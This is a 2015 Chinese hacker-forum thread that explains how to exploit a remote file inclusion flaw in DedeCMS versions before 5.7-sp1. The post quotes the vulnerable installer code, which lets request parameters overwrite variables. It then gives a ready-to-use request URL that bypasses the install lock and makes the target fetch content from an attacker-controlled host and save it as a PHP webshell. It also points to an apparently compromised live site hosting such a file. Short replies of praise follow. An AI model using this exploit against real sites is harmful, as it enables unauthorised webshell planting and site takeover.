blackfish 发表于 2015-7-7 11:10:17

如何利用DedeCMS < 5.7-sp1远程文件包含漏洞

本帖最后由 blackfish 于 2015-7-7 11:21 编辑

https://www.exploit-db.com/exploits/37423/我也是昨天才看到
其实能看懂代码的话这个漏洞非常简单,虽然标题是文件包含,实际上是因为变量覆盖引起的
漏洞文件在install/index.php.bak
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';


29 foreach(Array('_GET','_POST','_COOKIE') as $_request)
30 {
31    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
32 }
这一段是导致变量覆盖的代码,可以覆盖掉$insLockfile这个变量使file_exists判断失效, 导致利用者可以重新安装网站,这个漏洞很久以前就曝出来了。
http://www.cnseay.com/2956 这篇文章说的很详细了

标题中的文件包含在哪里呢

373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content))//fwrite websehll
381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }

由于变量都是可控的,程序中又用到了 file_get_contents函数去读取远程文件,然后又用fwrite函数保存到本地了。利用方法也非常简单
http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://xxxxxx.cn/
访问如下链接就会把http://xxxxxxxx.cn/dedecms/demodata.a.txt这个文件的内容保存到http://192.168.204.135/install目录下一个叫hello.php的文件中



http://paituola.cn/install/hello.php   经过测试网上很多网站都已经删掉install文件夹,所以这个漏洞的影响没那么大。

90_ 发表于 2015-7-7 11:37:52

不错的科普文

woxiangkan 发表于 2015-7-7 11:59:16

感觉这个漏洞就是一个大大的鸡肋啊!

r00tc4 发表于 2015-7-7 14:25:29

asion 发表于 2015-7-7 23:23:37

支持中国红客联盟(ihonker.org)

csadsl 发表于 2015-7-8 10:41:55

这个不错的介绍说明的

conosc 发表于 2015-7-9 10:13:30

我还是学习去吧~~~

borall 发表于 2015-7-9 16:11:38

H.U.C-麦麦 发表于 2015-7-11 20:59:04

还是不错的哦,顶了

Sty,涛 发表于 2015-7-12 05:09:43

还是不错的哦,顶了
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 如何利用DedeCMS < 5.7-sp1远程文件包含漏洞